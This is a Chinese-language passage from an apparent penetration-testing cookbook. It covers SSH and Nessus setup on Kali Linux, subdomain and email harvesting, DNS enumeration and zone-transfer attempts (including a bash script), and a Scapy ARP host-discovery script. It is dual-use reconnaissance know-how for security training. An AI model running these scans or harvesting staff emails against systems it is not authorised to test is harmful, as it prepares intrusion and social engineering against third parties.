1. 现在，服务正在运行。太好了，但如果我们重启计算机，我们会发现该服务不会自动启动。为了让服务在每次启动时都能自动启动，我们需要进行一些配置更改。Kali Linux 采取了一些额外的措施，确保你不会让服务自动启动。具体来说，它有一个服务白名单和黑名单文件。因此，要使 SSH 服务在启动时自动启动，我们需要将 SSH 服务从黑名单中移除。为此，打开一个终端窗口并输入以下命令：

1. 导航到标记为 List of blacklisted init scripts 的部分，找到 ssh。现在，我们只需在该行的开头添加一个 # 符号，保存文件并退出。文件应如下图所示：

1. 现在我们已经移除了黑名单策略，接下来只需要启用 SSH 在启动时自动运行。为此，请从终端运行以下命令：

就是这样！现在，当您重新启动时，服务将自动启动。您可以使用相同的程序在启动时自动启动其他服务。

它是如何工作的……

rc.local 文件在所有正常的 Linux 服务启动后执行。它可用于启动您希望在开机后可用的服务。

配置和使用 SSH

同时处理多个虚拟机可能会变得繁琐、耗时且令人沮丧。为了减少从一个 VMware 屏幕跳转到另一个屏幕的需求，并提高虚拟系统之间的通信便利性，配置并启用每个虚拟机上的 SSH 非常有帮助。本篇将讨论如何在每个 Linux 虚拟机上使用 SSH。

准备工作

要在虚拟机上使用 SSH，您必须首先在主机系统上安装 SSH 客户端。大多数 Linux 和 macOS 系统都集成了 SSH 客户端，并可以通过终端接口访问。如果您使用的是 Windows 主机，您需要下载并安装一个 Windows 终端服务客户端。一个免费的、易于使用的客户端是 PuTTY。

PuTTY 可以从 www.putty.org/ 下载。

如何操作……

跟着步骤配置 Kali Linux 上的 SSH 客户端（我们使用的是 PuTTY）：

1. 您最初需要直接从图形桌面界面的终端启用 SSH。此命令需要在虚拟机客户端中直接运行。除了 Windows XP 虚拟机外，实验室中的其他所有虚拟机都是 Linux 发行版，应该原生支持 SSH。如果您按照 管理 Kali 服务 的方法操作，SSH 服务应该已经在运行。如果没有，启用方法几乎适用于所有 Linux 发行版，如下所示：

1. /etc/init.d/ssh start 命令将启动该服务。如果您没有以 root 用户身份登录，需要在此命令前加上 sudo。

2. 如果收到错误提示，可能是设备上未安装 SSH 守护进程。如果是这种情况，可以使用 apt-get install ssh 命令安装 SSH 守护进程。然后，可以使用 ifconfig 获取系统的 IP 地址，用于建立 SSH 连接。

3. 启用后，您可以通过 SSH 从主机系统访问 VMware 客户系统。为此，请最小化虚拟机并打开主机的 SSH 客户端。

4. 如果你使用的是 macOS 或 Linux 作为主机系统，可以直接从终端调用客户端。或者，如果你在 Windows 主机上运行虚拟机，则需要使用终端模拟器，如 PuTTY。在以下示例中，SSH 会话是通过提供 Kali 虚拟机的 IP 地址来建立的：

下载示例代码

你可以从www.packtpub.com账户下载所有已购买的 Packt 图书的示例代码文件。如果你是从其他地方购买的这本书，可以访问www.packtpub.com/support并注册，文件会直接通过电子邮件发送给你。

1. 设置好连接配置后，点击“打开”按钮以启动会话。然后，系统会提示输入用户名和密码。我们需要输入连接目标系统的凭据。完成身份验证后，我们将获得远程终端访问权限，如下图所示：

1. 通过在远程主机的authorized_keys文件中提供你的公钥，可以避免每次都进行身份验证。具体操作流程如下：

 ssh-copy-id (user)@(host)

1. 完成上述步骤后，你应该能够在不输入密码的情况下直接通过 SSH 连接：

它是如何工作的…

SSH 建立了客户端和服务器之间的加密通信通道。这个通道可用于提供远程管理服务，并通过安全拷贝（scp）安全地传输文件。

在 Kali Linux 上安装 Nessus

Nessus 是一款功能强大的漏洞扫描器，可以安装在 Kali Linux 平台上。本节将讨论安装、启用并激活 Nessus 服务的过程。

准备工作

在尝试在 Kali Linux 上安装 Nessus 漏洞扫描器之前，你需要获取插件源激活码。这个激活码是必须的，用于获取 Nessus 用于评估网络系统的审计插件。如果你仅在家中或实验室中使用 Nessus，可以免费获得一个家庭源密钥。另外，如果你打算将 Nessus 用于生产系统的审计，你需要获取一个专业源密钥。无论哪种情况，你都可以在www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code上获得该激活码。

如何操作…

要在系统上安装 Nessus，请按以下步骤操作：

1. 一旦你获得了插件激活码，你需要下载 Nessus 安装包，下载地址为 www.tenable.com/products/nessus/select-your-operating-system。以下截图展示了 Nessus 可以运行的各种平台及其对应的安装包：

1. 选择与你安装的操作系统架构相匹配的安装包。选择后，阅读并同意 Tenable 提供的订阅协议。系统将自动下载安装包。点击“保存文件”，然后选择你希望保存的位置：

1. 在提供的示例中，我将安装包保存到了根目录。一旦下载完成，你可以通过命令行完成安装。这可以通过 SSH 或图形桌面上的终端以以下方式完成：

1. 使用 ls 命令验证安装包是否在当前目录中。你应该会在响应中看到它。然后可以使用 debian 包管理器（dpkg）工具安装该服务。

2. -i 参数告诉包管理器安装指定的包。安装完成后，可以使用命令 /etc/init.d/nessusd start 启动服务。Nessus 完全通过 Web 界面运行，并且可以轻松地从其他机器访问。如果你想从 Kali 系统管理 Nessus，可以通过 Web 浏览器访问 https://127.0.0.1:8834/。

3. 或者，你可以通过网页浏览器使用 Kali Linux 虚拟机的 IP 地址，从远程系统（如主机操作系统）访问它。在提供的示例中，从主机操作系统访问 Nessus 服务的适当 URL 是 https://172.16.36.244:8834：

1. 默认情况下，Nessus 服务使用自签名 SSL 证书，因此你会收到不受信任的连接警告。对于安全实验室的使用，你可以忽略此警告并继续操作。可以通过展开“我理解风险”选项来实现，如下图所示：

1. 展开此选项后，你可以点击“添加例外”按钮。这将防止你每次尝试访问服务时都要处理此警告。添加服务为例外后，你将看到欢迎界面。从这里点击“开始使用”按钮，接着会跳转到下一个界面：

1. 首先需要设置的配置是管理员的用户帐户和相关密码。这些凭据将用于登录并使用 Nessus 服务。在输入新用户名和密码后，点击“下一步”继续；你将看到以下屏幕：

1. 然后，你需要输入插件订阅激活码。如果没有激活码，请参考本教程的准备工作部分。最后，在输入激活码后，你将返回登录页面并要求输入用户名和密码。在这里，你需要输入在安装过程中创建的相同凭据。以下是 Nessus 每次访问该 URL 时加载的默认屏幕：

它是如何工作的…

一旦正确安装，Nessus 漏洞扫描器应该可以从主机系统以及所有安装了图形网页浏览器的虚拟机中访问。这是因为 Nessus 服务托管在 TCP 端口8834上，并且主机与所有其他虚拟系统的网络接口都位于相同的私有 IP 地址空间中。

第二章：侦察

本章将包括以下内容：

• 使用 Google 查找子域名

• 使用 theHarvester 查找电子邮件地址

• 使用host命令枚举 DNS

• 使用 DNSRecon 枚举 DNS

• 使用dnsenum命令枚举 DNS

引言

在本章中，我们将开始收集关于目标的信息。这一过程从利用公共来源的被动信息收集技术开始，然后转向对目标的主动扫描。此时，我们需要讨论我们的策略。一旦确定目标，我们就需要开始收集它们的信息。关键信息之一是它们的域名。域名系统（DNS）是一个数据库系统，用于查找域名的 IP 地址，或者给定一个 IP 地址，提供与之相关联的域名。识别与目标相关联的域名和子域名将帮助我们更好地了解目标的资产和组织。我们首先使用 Google 和其他公共来源来揭示我们能找到的信息。这就是所谓的侦察或被动信息收集。

当我们完成利用公共来源找到的信息后，我们将进入主动信息收集阶段。这里的界定是，接下来我们将与目标的资产进行物理交互。我们首先通过主动查询目标的 DNS 服务器来获取更多信息。利用这些信息，我们可以开始缩小目标范围。本次操作的目标是发现适合进一步调查的目标网络。

接下来，在第三章《发现》中，我们进行发现扫描，以识别网络上的活动主机。在渗透测试的背景下，这通常是为了识别潜在的攻击目标。这里的目标不是耗费资源去收集关于目标的信息，而是简单地找出目标在逻辑上的位置。我们发现的最终成果应该是一个 IP 地址列表，接下来可以用于进一步分析。

在识别 IP 地址之后，我们将识别这些机器的开放端口；这在第四章《端口扫描》中有所介绍。在识别开放端口后，我们需要确定服务及其版本、操作系统和其他尽可能多的细节；这在第五章《指纹识别》中有所介绍。利用这里找到的信息，我们将寻找目标资产上的特定漏洞；这在第六章《漏洞扫描》中有所介绍。下图总结了上述方法：

使用 Google 查找子域名

很多信息可以通过公开的来源收集。作为渗透测试者，我们应当利用任何方法以匿名的方式收集关于目标的有价值信息。

准备工作

执行这个操作只需要互联网连接和一个网页浏览器。

如何进行…

在这个例子中，我们将使用 Google 搜索引擎；然而，请注意，实际上有许多其他搜索引擎可以提供类似的信息，并且在某些情况下，它们还可以提供更多或不同的数据。Google 搜索引擎提供了一些搜索操作符，可以帮助你在执行查询时缩小搜索结果范围。对渗透测试者特别有用的几个操作符包括site:、inurl:和intitle:。

对于我们的目的（查找子域），我们将使用site:搜索操作符，如下所示：

1. 访问www.google.com，我们将搜索属于google.com域的站点。我们通过搜索site:google.com来实现，如下图所示：

1. 正如你所看到的，Google 找到了大约 29 亿个结果，但几乎所有结果都是www.google.com子域。因此，我们的下一步是过滤掉这些结果，以便继续查找独特的子域。我们通过修改查询site:google.com -site:www.google.com来完成这一操作，如下图所示：

1. 我们找到了 cloud.google.com、translate.google.com、gsuite.google.com、duo.google.com、domains.google.com、store.google.com、blog.google.com、firebase.google.com、on.google.com 和 developers.google.com 等附加子域。在某些情况下，你可能需要多次重复这一过程，逐步排除已找到的子域：

site:google.com -site:www.google.com -site:cloud.google.com -site:translate.google.com -site:gsuite.google.com -site:duo.google.com -site:domains.google.com -site:store.google.com -site:blog.google.com -site:firebase.google.com -site:on.google.com -site:developers.google.com

它是如何工作的…

Google 是一个功能强大的工具，拥有丰富的知识。学习如何使用它的搜索操作符，对于渗透测试者来说，非常有用和有价值。

使用 theHarvester 查找电子邮件地址

通过公开可用的信息，我们还可以收集关于目标组织成员的个人信息。这种被动信息收集对于社会工程学或部署攻击可能非常有价值。

准备工作

theHarvester 在 Kali Linux 上预装。如果你使用的是其他 Linux/Unix 发行版，可以从github.com/laramies/theHarvester下载并安装。

如何进行…

theHarvester 是一个非常出色的工具，可以从公共来源收集有关一个组织的信息。使用该工具，我们可以查询 Google、Bing、Twitter、LinkedIn 等多个来源。

1. 要查看 theHarvester 的帮助和选项，只需打开终端并输入以下命令：

 theharvester

1. 为了使用 Google 搜索引擎从 google.com 查找电子邮件地址，我们将使用以下命令：

 theharvester -d google.com -l 500 -b google

1. 该命令使用 -d 作为我们要搜索的域名，-l 用于限制结果数量，-b 用于定义数据源。此外，我们还可以使用 -f 标志将结果写入文件。

2. theHarvester 并不总是返回电子邮件地址。如果我们使用 LinkedIn 作为数据源，可以获取用户列表。然而，对于这个域名，我们没有收到任何电子邮件地址：

 theharvester -d google.com -l 500 -b linkedin

1. 我们还可以搜索所有数据源。通过此操作，我们不仅会发现电子邮件地址，还能找到主机和虚拟主机。

 theharvester -d google.com -l 500 -b all

1. TheHarvester 开始查询所有数据源，然后输出其发现结果：

它是如何工作的…

theHarvester 是一个优秀的工具，它查询公开的数据源并提供您传递给它的域名信息。该信息包括子域名、LinkedIn 用户和电子邮件地址。

使用 host 命令枚举 DNS

前一部分讲解了如何使用公开的 Google 搜索引擎查找子域名。虽然这很有用，但我们不应假设所有的子域名都能通过这种方法找到。接下来的几部分将讲解如何使用主动发现方法来查找子域名。

准备工作

为了准备使用 host 命令，您只需从 Kali Linux 发行版中打开终端。

host 命令是 Unix、Linux 和 macOS 系统的标准命令。

如何执行...

使用 host 命令：

1. DNS 服务器是地址簿；因此，通常它们会透露至少一些关于它们所掌管域名的信息。host 命令是一个执行 DNS 查找的工具。所以我们可以使用 host 命令来调查目标域名的信息。我们可以使用 -a 标志进行全面查找，或者使用 -t 标志后跟类型来获取特定信息：

1. 以下命令将显示与 google.com 相关的名称服务器：

 host -t ns google.com

1. 以下命令将显示该域名的邮件服务器详细信息：

 host -t mx google.com

1. 至少现在我们应该有负责 google.com 的 DNS 和邮件服务器，但我们还能找到与 google.com 域名相关的其他内容吗？在之前的练习中，我们已经找到了一些相关的 Web 服务器。让我们更仔细地查看一下：

 host google.com

1. 如果我们尝试一些不存在的内容呢？我们可以期望得到什么结果？

 host madeupsub.google.com

1. 我们收到错误消息，表示找不到该子域名。知道这一点后，我们可以测试一些常见子域名，看看它们是否存在。一些常见的子域名包括 mail、blog、ftp、dev、admin、wiki 和 help。当然，这并不是一个完整的列表，可能还有一些不常见的子域名。

2. 我们也可以使用 host 命令执行区域传输。为了做到这一点，我们需要分析的域名和相应的 nameserver 地址。请记住，通常 DNS 配置为不允许进行传输。我们来尝试使用之前找到的 nameserver ns1.google.com 来进行 google.com 的传输：

1. 有时候一个组织可能有大量的 nameserver。在这种情况下，自动化该过程是有意义的。

2. 在接下来的 bash 脚本中，我们首先为给定域名生成一个 nameserver 列表，然后遍历每个 nameserver，尝试进行区域传输：

        #!/bin/bash

        if [ ! $1 ]; then 
        echo "Usage: #./dns-find-transfer.sh <domain>"; 
        exit; 
        fi

        for server in $(host -t ns $1 |cut -d" " -f4);do
        printf $server | sed 's/.$//'
        host -l $1 $server |grep "Address: " | cut -d: -f2 |
         sed 's/...$//'
        done

1. 现在我们可以运行脚本并查看结果：

它是如何工作的…

host 命令是一个简单的工具，用于查询主机或 IP 地址的相关信息。

使用 DNSRecon 枚举 DNS

在接下来的部分中，我们将探索一些可以帮助我们进行 DNS 侦察的工具。实际上，这意味着识别我们目标组织的 DNS 服务器，进而获取它们包含的 DNS 条目。

准备工作

DNSRecon 已预装在 Kali Linux 上。如果你使用的是其他 Linux/Unix 发行版，它可以从 github.com/darkoperator/dnsrecon 下载并安装。

如何操作…

DNSRecon 是由 Carlos Perez 编写的 Python 脚本，用于进行 DNS 侦察。它可以枚举常规 DNS 记录，执行区域传输，执行反向查找，进行子域名暴力破解等功能。它甚至可以执行 Google 扫描，自动化我们在 使用 Google 查找子域名 部分中讨论的过程。要查看 dnsrecon 的使用信息，请在 /usr/share/dnsrecon 目录中运行以下命令：

dnsrecon -h

标准 DNS 枚举

标准 DNS 枚举应该提供 SOA、NS、A、AAAA、MX 和 SRV 记录（如有）。如果我们运行 dnsrecon 而不传递类型（-t）标志，它将执行标准枚举。为了传递我们希望扫描的域名，我们使用域名（-d）标志，后跟目标域名。要对我们的目标域名 google.com 执行标准枚举，请运行以下命令：

dnsrecon -d google.com

反向查找

我们还可以使用 dnsrecon 通过提供一个 IP 地址范围来执行反向查找。我们使用范围（-r）标志，后跟我们希望其执行查找的 IP 范围，如以下示例所示：

dnsrecon -r 216.239.34.00-216.239.34.50

区域传输

DNS 区域传输是域名管理员用于将其 DNS 数据库复制到组织 DNS 服务器的工具。问题是，这可能会泄露很多关于组织基础设施的信息。因此，通常 DNS 服务器会配置为不允许区域传输。要使用dnsrecon尝试区域传输，我们需要使用-a标志（AXFR），或者可以使用-t标志并指定类型为axfr。axfr类型是表示 DNS 区域传输的查询类型。运行区域传输的命令如下：

dnsrecon -d google.com -a

如你所见，在我们的例子中，区域传输失败了，但尝试一下并无妨。偶尔，你可能会遇到配置不当的 DNS 服务器，未能正确阻止此类操作。

它是如何工作的…

DNS 服务器的设计是接收查询并提供地址信息。dnsrecon脚本利用此功能来枚举 DNS 服务器，从而揭示有关组织基础设施的信息。

使用dnsenum命令枚举 DNS

与dnsrecon类似，dnsenum是用于枚举 DNS 信息的工具。dnsenum脚本是由 Filip Waeytens 编写的一个多线程 Perl 脚本，用于进行 DNS 侦察。它可以用于枚举域名的 DNS 信息，以便寻找不连续的 IP 块。它不仅帮助发现不连续的 IP 块，还提供其他几种信息，如主机地址的A记录、线程化的名称服务器、线程化的 MX 记录以及线程化的bind 版本。

准备工作

dnsenum脚本在 Kali Linux 上是预安装的。如果你使用的是其他 Linux/Unix 发行版，可以从github.com/fwaeytens/dnsenum下载并安装。

它是如何做到的…

要查看dnsenum命令的使用信息，请从终端运行以下命令：

dnsenum -h

默认设置

如果我们不使用任何标志运行dnsenum，它将以默认设置运行。默认设置如下：

• thread 5（如前所述，脚本是多线程的；此设置决定了它将使用多少个线程）

• s 15（这决定了它从 Google 抓取的最大子域数）

• -w（此标志告诉脚本运行whois查询）

暴力破解

dnsenum命令的真正亮点在于暴力破解，它是递归进行的。这意味着当它识别出subdomain.domain.com时，它将开始暴力破解subdomain.subdomain.domain.com。显然，即使它是多线程脚本，这个过程可能也需要一些时间。

在接下来的示例中，我们将使用dnsenum命令进行子域名的暴力破解，但首先，我们需要一份供dnsenum使用的子域名列表。有一个非常有趣的项目叫做dnspop，它能识别出顶级子域名。

该项目可以在 github.com/bitquark/dnspop 找到。我们不需要下载和安装 Python 脚本，因为结果也发布在 github.com/bitquark/dnspop/tree/master/results。我已经下载了包含前 1000 个最流行子域的列表，并将其放置在 /usr/share/wordlists/subdomains/ 目录中。

我创建了子域目录，并命名为 subdomains_popular_1000。

现在我们有了 dnsenum 可以用来进行暴力破解的名称列表。暴力破解子域的命令使用 -f 标志，后跟文件路径/名称，如果需要，还可以使用递归标志 (-r) 来递归枚举子域。命令如下所示：

dnsenum -f /usr/share/wordlists/subdomains/subdomains_popular_1000 -r google.com 

上述命令执行以下操作：

1. 首先，dnsenum 命令执行默认的查找操作：

1. 接下来，dnsenum 开始暴力破解子域：

1. 一旦完成对子域的暴力破解，它将开始递归地进行暴力破解：

它是如何工作的……

dnsenum 命令有许多选项可以使用，且此脚本会根据所选选项收集信息或执行相应的操作。一旦你枚举了 DNS，使用 –o 或 --output <file> 选项将输出写入 XML 文件。

第三章：主机发现

本章将包括以下几种方法：

• 使用 Scapy 执行主机发现（第 2/3/4 层）

• 使用 Nmap 执行主机发现（第 2/3/4 层）

• 使用 ARPing 执行主机发现（第 2 层）

• 使用 netdiscover 执行主机发现（第 2 层）

• 使用 Metasploit 执行主机发现（第 2 层）

• 使用 ICMP 执行主机发现

• 使用 fping 执行主机发现

• 使用 hping3 执行主机发现（第 3/4 层）

引言

主机发现扫描是识别网络中在线主机的过程。在渗透测试中，通常执行此操作以识别潜在的攻击目标。

渗透测试中，通常执行此操作以识别潜在的攻击目标。

本章的目标不是耗尽资源来收集关于目标的信息，而是仅仅找到目标在逻辑上的位置。我们的最终发现结果应是一个 IP 地址列表，之后可以用于进一步分析。在本章中，我们将讨论如何通过使用在 OSI 模型第 2 层、第 3 层和第 4 层的协议来发现网络中的主机。

了解 OSI 模型

在具体讨论每种扫描技术之前，我们应先介绍一些基本原则。开放系统互联（OSI）模型是国际标准化组织（ISO）的标准，定义了网络系统之间的通信方式。该模型分为七层，定义了应用内容如何由一个系统发送或由另一个系统接收。OSI 模型的上层（5-7 层）主要用于与用户交互，而下层（1-4 层）则处理编码、格式化和传输。这些层包括：

OSI 模型	层描述	协议
第 7 层：应用层	该层涉及发送和接收数据的应用软件	HTTP、FTP 和 Telnet
第 6 层：表示层	该层定义数据的格式或组织方式	ASCII、JPEG、PDF、PNG 和 DOCX
第 5 层：会话层	该层涉及应用会话控制、管理、同步和终止	NetBIOS、PPTP、RPC 和 SOCKS
第 4 层：传输层	该层涉及端到端的通信服务	TCP 和 UDP
第 3 层：网络层	该层涉及逻辑系统寻址	IPv4、IPv6、ICMP 和 IPSec
第 2 层：数据链路层	该层涉及物理系统寻址	ARP
第 1 层：物理层	该层涉及通过电缆传输的数据流

OSI 模型的较低层主要用于确保网络流量成功到达预定目的地。在这些较低层中，许多常用协议需要目标系统的响应，因此，潜在的攻击者可以利用这些协议识别存活的系统。本节剩余部分讨论的技术将利用第二、三、四层的协议来发现存活的网络系统。在详细讨论每个具体方法之前，我们将简要介绍所使用的协议及其如何被用于发现。

使用 ARP 进行第二层发现的优缺点如下：

• 优点：

  • 非常快

  • 高度可靠

• 缺点：

  • 无法发现远程系统（不可路由协议）

第二层发现扫描使用 地址解析协议（ARP）流量进行。ARP 是一个第二层协议，主要用于将逻辑第三层 IP 地址转换为物理第二层 MAC 地址。当系统需要定位与目标 IP 地址对应的物理地址时，它会在本地网络段广播一个 ARP 请求包。这个 ARP 请求实际上是在问整个网络：“谁拥有这个 IP 地址？”具有指定 IP 地址的系统会直接回复询问系统，发送包含其第二层 MAC 地址的 ARP 回复。询问系统会更新其 ARP 缓存，这是一个记录 IP 地址与 MAC 地址关联的临时记录，然后开始与该主机进行通信。ARP 可以用于发现网络中的存活主机，因为它在响应请求之前不采用任何形式的身份验证或授权。

由于这一点，入侵者连接到本地网络并枚举存活主机变得可能且简单。可以通过发送一系列 ARP 请求来获取完整的 IP 地址列表，然后记录接收到响应的查询 IP 地址。ARP 发现既有优点也有缺点。它在发现扫描中非常有用，因为它是最快且最可靠的发现协议。不幸的是，它也是一个不可路由的协议，只能用于发现本地子网中的主机。

使用 ICMP 进行第三层发现的优缺点如下：

• 优点：

  • 可以发现远程系统（可路由协议）

  • 仍然相对较快

• 缺点：

  • 比 ARP 发现慢

  • 经常被防火墙过滤

层 3 发现可能是网络管理员和技术人员最常用的发现技术。著名的 ping 命令行工具，它在 Windows 和 *nix 系统上都可以找到，使用的是层 3 发现。此形式的发现使用了互联网控制消息协议（ICMP）。虽然 ICMP 有多个功能，其中一个特别有用来识别活动系统的是使用回显请求和回显响应消息。ICMP 回显请求是一个系统向另一个系统发出“你在吗？”的技术等价物。ICMP 回显响应则是接收系统可以回答“我在”的一种方式。为了确定某个 IP 地址上是否存在主机，系统可以向该地址发送 ICMP 回显请求。如果该 IP 地址上有主机且一切按预期工作，主机将返回 ICMP 回显回复。这个协议可以通过在 IP 地址列表上循环执行该序列来进行主机发现。

输出将仅包括那些收到回复的 IP 地址列表。层 3 发现是有效的，因为它使用可路由协议来识别活动主机。然而，使用它也有一些缺点。ICMP 发现没有 ARP 发现快。而且，ICMP 发现不如 ARP 发现可靠，因为有些主机被故意配置为不响应 ICMP 流量，防火墙也常常被配置为丢弃 ICMP 流量。尽管如此，它仍然是一种快速且常用的发现潜在目标的方式，适用于远程地址范围。

层 4 发现非常有效，因为公开可路由的系统通常仅存在于公共 IP 空间，因为它们托管的网络服务是通过传输控制协议（TCP）或用户数据报协议（UDP）提供的。在安全性较差的环境中，可以通过向远程服务器的 IP 地址发送几乎任何 UDP 或 TCP 请求来引发回复。然而，如果使用了有状态过滤，则可能只能通过向与活动服务相关联的端口地址发送 SYN 请求，才能从远程服务获得回复。即使在具有高级过滤的高度安全环境中，只要提供了正确的请求，大多数情况下仍然可以进行发现。然而，由于 UDP 和 TCP 服务有 65,536 个可能的端口地址，全面的发现过程可能会非常耗时。层 4 发现的最佳方法是找到 TCP 和 UDP 技术之间的彻底性与迅速性的平衡。

层 4 发现通过 TCP 的优缺点如下：

• 优点：

  • 可以发现远程系统（可路由协议）

  • 比 ICMP 更可靠（过滤较少或选择性实施）

• 缺点：

  • 有状态防火墙过滤器可能会产生不可靠的结果

  • 彻底的发现过程可能会很耗时

使用 TCP 进行第 4 层探测是通过向潜在目标地址发送带有各种 TCP 标志位的 TCP 数据包来完成的。不同的标志配置可以触发不同的响应，用于识别在线主机。未经请求的 TCP 结束（FIN）或 确认（ACK）数据包通常会触发远程服务器的 重置（RST）响应。发送到远程服务器的 同步（SYN**）数据包通常会触发 SYN+ACK 或 RST 响应，具体取决于服务的状态。目的是不是为了请求特定的响应，而是为了请求任何响应。来自给定 IP 地址的任何响应都确认了一个在线系统的存在。

使用 UDP 进行第 4 层探测的优缺点如下：

• 优点：

  • 可以发现远程系统（可路由协议）

  • 甚至可以发现所有 TCP 服务都被过滤的远程主机

• 缺点：

  • ICMP 端口不可达响应的不一致使用和过滤使得不加区别的探测变得不可靠

  • 特定服务探测技术限制了彻底性，并增加了所需的扫描时间

UDP 探测涉及向不同的目标端口发送 UDP 探测数据包，试图从在线主机获取响应。UDP 探测有时能有效识别所有 TCP 服务被过滤的在线主机。然而，UDP 探测可能很棘手，因为一些 UDP 服务会回复 ICMP 端口不可达响应，而另一些则仅会回复特定请求，这些请求与正在运行的服务相对应。此外，ICMP 流量通常会被防火墙的出站限制过滤，这使得执行不加区别的 UDP 探测变得困难。因此，有效的 UDP 探测扫描通常需要不同的技术，这些技术根据服务的不同而有所不同。

使用 Scapy 执行主机发现（第 2/3/4 层）

Scapy 是一个功能强大的交互式工具，可以用来捕获、分析、操作，甚至创建符合协议的网络流量，然后将其注入到网络中。Scapy 还是一个可以在 Python 中使用的库，提供了创建高效脚本来执行网络流量处理和操作的能力。我们将在这里演示如何使用 Scapy 在第 2、3 和 4 层执行探测：

1. 首先，我们将使用 Scapy 和 Python 在第 2 层执行 ARP 探测。

2. 接下来，我们将使用 Scapy 在第 3 层注入并分析 ICMP 流量。

3. 最后，我们将使用 Scapy 和 Python 执行第 4 层探测，使用 UDP 和 TCP。

准备就绪

要使用 Scapy 执行 ARP 发现，你需要至少一台 局域网（LAN）中的系统来响应 ARP 请求。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验环境中设置系统的更多信息，请参见 第一章中的 安装 Metasploitable2 和 安装 Windows Server 配方，入门指南。

使用 Scapy 执行第 3 层和第 4 层的发现不需要实验环境，因为互联网上的许多系统会回复 ICMP 回显请求，以及 TCP 和 UDP 流量。然而，强烈建议你仅在自己的实验室中进行任何类型的网络扫描，除非你已经完全熟悉适用于你的法律规定。如果你希望在实验室中执行此技术，你将需要至少一台可以响应 ICMP、TCP 和 UDP 请求的系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验环境中设置系统的更多信息，请参见 第一章中的 安装 Metasploitable2 和 安装 Windows Server 配方，入门指南。

此外，本节需要将脚本写入文件系统，可以使用 Vim 或 GNU nano 等文本编辑器。有关编写脚本的更多信息，请参见 第一章中的 使用文本编辑器（Vim 和 GNU nano） 配方，入门指南。

如何操作…

让我们逐层了解发现过程。在这一层中，我们将使用 Scapy 在第 2、3 和 4 层进行发现。

第 2 层发现 - ARP

为了理解 ARP 发现的工作原理，我们将从使用 Scapy 构建自定义数据包开始，这将允许我们通过 ARP 在局域网上识别主机：

1. 要在 Kali Linux 中开始使用 Scapy，请从终端输入 scapy 命令。然后，你可以使用 display() 函数查看任何在 Scapy 中创建的 ARP 对象的默认配置，如下所示：

1. 请注意，IP 和 MAC 源地址都会自动配置为与运行 Scapy 的主机关联的值。除非你正在伪造一个替代源地址，否则这些值不需要为任何 Scapy 对象进行更改。ARP 的默认操作码值自动设置为 who-has，这表示数据包将请求 IP 和 MAC 地址的关联。在这种情况下，我们只需要提供目标 IP 地址。为此，我们可以通过将 ARP 函数赋值给一个变量来创建一个对象。变量名无关紧要（在示例中，使用了变量名 arp_request）。

请查看以下命令：

1. 请注意，display()函数也可以应用于创建的 ARP 对象，以验证配置值是否已更新。对于这个练习，请使用一个对应于你实验室网络中活动机器的目标 IP 地址。然后可以使用sr1()函数通过网络发送请求并返回第一个响应：

1. 或者，你可以直接调用该函数并传递任何特殊配置作为参数来执行相同的任务，如下图所示。这可以避免使用不必要的变量杂乱，并且还可以通过一行代码完成整个任务。

1. 请注意，在这些情况下，都会返回一个响应，表示172.16.69.128的 IP 地址对应于00:0C:29:96:81:f2的 MAC 地址。如果你执行相同的任务，但将目标 IP 地址分配为不对应于你实验室网络中活动主机的地址，则不会收到任何响应，函数将继续无限期地分析本地接口上的传入流量。

2. 你可以使用Ctrl + C强制终止该函数。或者，你可以指定超时参数来避免这个问题。当 Scapy 在 Python 脚本中使用时，超时将变得至关重要。要使用超时，应该向发送/接收函数提供一个额外的参数，指定等待响应的秒数：

1. 通过使用超时函数，发送到未响应主机的请求将在指定时间后返回，表示捕获了0个答案。此外，通过调用该变量，还可以将此函数接收到的响应设置为一个变量，随后可以对响应进行处理：

1. Scapy 也可以作为 Python 脚本语言中的一个库来使用。这可以有效地自动化在 Scapy 中执行的冗余任务。Python 和 Scapy 可以用来按顺序循环遍历本地子网中的每个可能的主机地址，并向每个地址发送 ARP 请求。一个可用于在一系列主机上执行二层发现的功能脚本示例如下：

        #!/usr/bin/python

        import logging
        import subprocess
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        if len(sys.argv) != 2:
         print "Usage - ./arp_disc.py [interface]"
         print "Example - ./arp_disc.py eth0"
         print "Example will perform an ARP scan of the local 
           subnet to which eth0 is assigned"
         sys.exit()

        interface = str(sys.argv[1])
        ip = subprocess.check_output("ifconfig " + interface +
         " | grep 'inet ' |  awk '{ print $2 }' 
         | cut -d ':' -f2", shell=True).strip()
        prefix = ip.split('.')[0] + '.' + ip.split('.')[1] +
         '.' +ip.split('.')[2] + '.'

        for addr in range(0,254):
         answer=sr1(ARP(pdst=prefix+str(addr)),timeout=1,verbose=0)
          if answer == None:
            pass
          else:
            print prefix+str(addr)

• 脚本的第一行指明了 Python 解释器的位置，这样可以在不将其传递给解释器的情况下执行脚本。然后脚本导入了所有 Scapy 函数，并且定义了 Scapy 日志级别，以消除脚本中不必要的输出。

• 子进程库也被导入，以便从系统调用中轻松提取信息。第二段代码是一个条件判断，评估是否向脚本提供了所需的参数。如果执行时没有提供所需的参数，脚本将输出一个关于如何使用脚本的说明。该说明包括工具的用法、示例以及此示例将执行的任务的解释。

• 在这段代码之后，有一行独立的代码，它将提供的参数赋值给接口变量。接下来的代码块使用check_output()子进程函数执行ifconfig系统调用，并结合grep和cut提取从提供的本地接口中获取的 IP 地址。然后将此输出赋值给ip变量。

• 然后使用split函数从 IP 地址字符串中提取/24网络前缀。例如，如果ip变量包含192.168.11.4字符串，则192.168.11的值将被赋值给prefix变量。

• 最后一段代码是一个for循环，用于执行实际的扫描。for循环遍历从0到254之间的所有值，每次迭代时，该值会被追加到网络前缀中。在前面的例子中，对于每个192.168.11.0到192.168.11.254之间的 IP 地址，会广播一个 ARP 请求。对于每个有响应的活跃主机，相关的 IP 地址会被打印到屏幕上，表示该主机在局域网中是活跃的。

1. 一旦脚本被写入本地目录，可以使用终端中的点和正斜杠，后跟可执行脚本的名称来执行它。请查看以下执行脚本的命令：

1. 如果脚本在执行时没有提供任何参数，则会输出用法说明。用法输出指示该脚本需要一个定义扫描所用接口的参数。在以下示例中，脚本使用eth0接口执行：

1. 脚本运行后，它将确定所提供接口的本地子网，执行该子网的 ARP 扫描，并基于主机对这些 IP 地址的响应输出活动的 IP 地址列表。此外，可以在脚本运行的同时运行 Wireshark，以观察每个地址的请求如何依次广播，以及活跃主机如何响应这些请求，如下图所示：

